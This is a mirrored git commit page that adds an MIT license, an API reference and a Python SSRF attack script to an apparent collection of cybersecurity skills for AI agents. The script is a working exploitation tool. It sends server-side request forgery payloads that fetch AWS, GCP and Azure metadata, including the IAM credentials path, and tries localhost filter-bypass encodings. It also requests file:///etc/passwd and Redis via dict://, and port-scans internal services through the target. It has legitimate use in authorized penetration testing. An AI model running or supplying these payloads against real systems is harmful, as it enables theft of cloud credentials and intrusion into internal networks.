mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-08-07 19:20:17 +03:00
Add folder anatomy (scripts/agent.py + references/api-reference.md) for 648 cybersecurity skills
Complete skill folder anatomy across all cybersecurity skills: - scripts/agent.py: 80-150 line Python agents using real libraries (impacket, boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.) - references/api-reference.md: real API documentation with method signatures - LICENSE: MIT license for all skill folders
This commit is contained in:
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,57 @@
|
||||
# API Reference: SSRF Vulnerability Assessment Agent
|
||||
|
||||
## Dependencies
|
||||
|
||||
| Library | Version | Purpose |
|
||||
|---------|---------|---------|
|
||||
| requests | >=2.28 | HTTP client for sending SSRF payloads |
|
||||
|
||||
## CLI Usage
|
||||
|
||||
```bash
|
||||
python scripts/agent.py \
|
||||
--url https://target.example.com/api/fetch-url \
|
||||
--param url \
|
||||
--auth "Bearer TOKEN" \
|
||||
--output ssrf_report.json
|
||||
```
|
||||
|
||||
## Functions
|
||||
|
||||
### `test_ssrf_endpoint(target_url, param_name, payload_url, method, auth_header) -> dict`
|
||||
Sends a single SSRF payload and checks the response for success indicators.
|
||||
|
||||
### `test_cloud_metadata(target_url, param_name, auth_header) -> list`
|
||||
Tests SSRF against AWS IMDSv1, GCP, Azure, and DigitalOcean metadata endpoints.
|
||||
|
||||
### `test_localhost_bypasses(target_url, param_name, auth_header) -> list`
|
||||
Tests 9 localhost encoding bypasses: octal, hex, decimal, IPv6, short form, wildcard DNS.
|
||||
|
||||
### `test_protocol_schemes(target_url, param_name, auth_header) -> list`
|
||||
Tests `file://`, `dict://`, and `gopher://` protocol handlers.
|
||||
|
||||
### `scan_internal_ports(target_url, param_name, internal_ip, ports, auth_header) -> list`
|
||||
Uses SSRF to probe internal ports (22, 80, 3306, 5432, 6379, 8080, 9200).
|
||||
|
||||
### `run_assessment(target_url, param_name, auth_header) -> dict`
|
||||
Orchestrates all SSRF tests and compiles findings.
|
||||
|
||||
## Cloud Metadata Endpoints
|
||||
|
||||
| Provider | URL |
|
||||
|----------|-----|
|
||||
| AWS IMDSv1 | `http://169.254.169.254/latest/meta-data/` |
|
||||
| GCP | `http://metadata.google.internal/computeMetadata/v1/` |
|
||||
| Azure | `http://169.254.169.254/metadata/instance` |
|
||||
| DigitalOcean | `http://169.254.169.254/metadata/v1/` |
|
||||
|
||||
## Output Schema
|
||||
|
||||
```json
|
||||
{
|
||||
"target": "https://target.example.com/api/fetch-url",
|
||||
"parameter": "url",
|
||||
"cloud_metadata_tests": [{"cloud_provider": "aws_imdsv1", "status_code": 200}],
|
||||
"findings": ["CRITICAL: Cloud metadata accessible via 1 endpoints"]
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,184 @@
|
||||
#!/usr/bin/env python3
|
||||
# For authorized testing in lab/CTF environments only
|
||||
"""SSRF vulnerability detection agent with cloud metadata and filter bypass testing."""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import logging
|
||||
import sys
|
||||
import urllib.parse
|
||||
from typing import List
|
||||
|
||||
try:
|
||||
import requests
|
||||
except ImportError:
|
||||
sys.exit("requests is required: pip install requests")
|
||||
|
||||
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
CLOUD_METADATA = {
|
||||
"aws_imdsv1": "http://169.254.169.254/latest/meta-data/",
|
||||
"aws_iam": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
|
||||
"gcp": "http://metadata.google.internal/computeMetadata/v1/",
|
||||
"azure": "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
|
||||
"digitalocean": "http://169.254.169.254/metadata/v1/",
|
||||
}
|
||||
|
||||
LOCALHOST_BYPASSES = [
|
||||
"http://127.0.0.1/", "http://0177.0.0.1/", "http://0x7f.0.0.1/",
|
||||
"http://2130706433/", "http://127.1/", "http://0/",
|
||||
"http://[::1]/", "http://0.0.0.0/", "http://127.0.0.1.nip.io/",
|
||||
]
|
||||
|
||||
PROTOCOL_PAYLOADS = [
|
||||
"file:///etc/passwd", "file:///c:/windows/win.ini",
|
||||
"dict://127.0.0.1:6379/info",
|
||||
]
|
||||
|
||||
|
||||
def test_ssrf_endpoint(target_url: str, param_name: str, payload_url: str,
|
||||
method: str = "POST", auth_header: str = "") -> dict:
|
||||
"""Send an SSRF payload to a target endpoint and analyze the response."""
|
||||
headers = {"Content-Type": "application/json"}
|
||||
if auth_header:
|
||||
headers["Authorization"] = auth_header
|
||||
|
||||
data = {param_name: payload_url}
|
||||
try:
|
||||
if method.upper() == "POST":
|
||||
resp = requests.post(target_url, json=data, headers=headers,
|
||||
timeout=10, verify=False)
|
||||
else:
|
||||
resp = requests.get(target_url, params=data, headers=headers,
|
||||
timeout=10, verify=False)
|
||||
return {
|
||||
"payload": payload_url,
|
||||
"status_code": resp.status_code,
|
||||
"content_length": len(resp.content),
|
||||
"response_preview": resp.text[:200],
|
||||
"success_indicators": _check_success(resp.text, payload_url),
|
||||
}
|
||||
except requests.RequestException as exc:
|
||||
return {"payload": payload_url, "error": str(exc)}
|
||||
|
||||
|
||||
def _check_success(response_text: str, payload: str) -> List[str]:
|
||||
"""Check response for indicators of successful SSRF."""
|
||||
indicators = []
|
||||
checks = {
|
||||
"aws_metadata": ["ami-id", "instance-id", "security-credentials", "iam"],
|
||||
"gcp_metadata": ["computeMetadata", "project-id", "service-accounts"],
|
||||
"azure_metadata": ["vmId", "subscriptionId", "resourceGroupName"],
|
||||
"local_file": ["root:", "/bin/bash", "[extensions]", "for 16-bit"],
|
||||
"internal_service": ["redis_version", "elasticsearch", "Jenkins"],
|
||||
}
|
||||
for name, keywords in checks.items():
|
||||
if any(kw.lower() in response_text.lower() for kw in keywords):
|
||||
indicators.append(name)
|
||||
return indicators
|
||||
|
||||
|
||||
def test_cloud_metadata(target_url: str, param_name: str,
|
||||
auth_header: str = "") -> List[dict]:
|
||||
"""Test SSRF against all cloud metadata endpoints."""
|
||||
results = []
|
||||
for provider, meta_url in CLOUD_METADATA.items():
|
||||
result = test_ssrf_endpoint(target_url, param_name, meta_url,
|
||||
auth_header=auth_header)
|
||||
result["cloud_provider"] = provider
|
||||
results.append(result)
|
||||
if result.get("success_indicators"):
|
||||
logger.warning("SSRF to %s: indicators=%s", provider, result["success_indicators"])
|
||||
return results
|
||||
|
||||
|
||||
def test_localhost_bypasses(target_url: str, param_name: str,
|
||||
auth_header: str = "") -> List[dict]:
|
||||
"""Test localhost SSRF filter bypasses."""
|
||||
results = []
|
||||
for bypass in LOCALHOST_BYPASSES:
|
||||
result = test_ssrf_endpoint(target_url, param_name, bypass,
|
||||
auth_header=auth_header)
|
||||
result["bypass_type"] = "localhost_encoding"
|
||||
results.append(result)
|
||||
return results
|
||||
|
||||
|
||||
def test_protocol_schemes(target_url: str, param_name: str,
|
||||
auth_header: str = "") -> List[dict]:
|
||||
"""Test non-HTTP protocol schemes (file://, dict://, gopher://)."""
|
||||
results = []
|
||||
for payload in PROTOCOL_PAYLOADS:
|
||||
result = test_ssrf_endpoint(target_url, param_name, payload,
|
||||
auth_header=auth_header)
|
||||
result["protocol"] = payload.split(":")[0]
|
||||
results.append(result)
|
||||
return results
|
||||
|
||||
|
||||
def scan_internal_ports(target_url: str, param_name: str, internal_ip: str,
|
||||
ports: List[int], auth_header: str = "") -> List[dict]:
|
||||
"""Scan internal ports via SSRF to discover services."""
|
||||
results = []
|
||||
for port in ports:
|
||||
payload = f"http://{internal_ip}:{port}/"
|
||||
result = test_ssrf_endpoint(target_url, param_name, payload,
|
||||
auth_header=auth_header)
|
||||
result["internal_ip"] = internal_ip
|
||||
result["port"] = port
|
||||
is_open = (result.get("status_code") == 200 and
|
||||
result.get("content_length", 0) > 0 and
|
||||
not result.get("error"))
|
||||
result["port_likely_open"] = is_open
|
||||
results.append(result)
|
||||
return results
|
||||
|
||||
|
||||
def run_assessment(target_url: str, param_name: str, auth_header: str = "") -> dict:
|
||||
"""Run complete SSRF assessment."""
|
||||
cloud = test_cloud_metadata(target_url, param_name, auth_header)
|
||||
bypasses = test_localhost_bypasses(target_url, param_name, auth_header)
|
||||
protocols = test_protocol_schemes(target_url, param_name, auth_header)
|
||||
ports = scan_internal_ports(target_url, param_name, "127.0.0.1",
|
||||
[22, 80, 443, 3306, 5432, 6379, 8080, 9200], auth_header)
|
||||
|
||||
findings = []
|
||||
cloud_hits = [c for c in cloud if c.get("success_indicators")]
|
||||
if cloud_hits:
|
||||
findings.append(f"CRITICAL: Cloud metadata accessible via {len(cloud_hits)} endpoints")
|
||||
bypass_hits = [b for b in bypasses if b.get("status_code") == 200 and b.get("content_length", 0) > 50]
|
||||
if bypass_hits:
|
||||
findings.append(f"HIGH: {len(bypass_hits)} localhost filter bypass(es) successful")
|
||||
protocol_hits = [p for p in protocols if p.get("success_indicators")]
|
||||
if protocol_hits:
|
||||
findings.append(f"HIGH: Non-HTTP protocols accepted ({', '.join(p['protocol'] for p in protocol_hits)})")
|
||||
|
||||
return {
|
||||
"target": target_url,
|
||||
"parameter": param_name,
|
||||
"cloud_metadata_tests": cloud,
|
||||
"localhost_bypasses": bypasses,
|
||||
"protocol_tests": protocols,
|
||||
"internal_port_scan": ports,
|
||||
"findings": findings,
|
||||
}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="SSRF Vulnerability Assessment Agent")
|
||||
parser.add_argument("--url", required=True, help="Target URL with SSRF-prone endpoint")
|
||||
parser.add_argument("--param", default="url", help="Parameter name accepting URLs")
|
||||
parser.add_argument("--auth", default="", help="Authorization header value")
|
||||
parser.add_argument("--output", default="ssrf_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
report = run_assessment(args.url, args.param, args.auth)
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
logger.info("Report saved to %s", args.output)
|
||||
print(json.dumps(report, indent=2))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user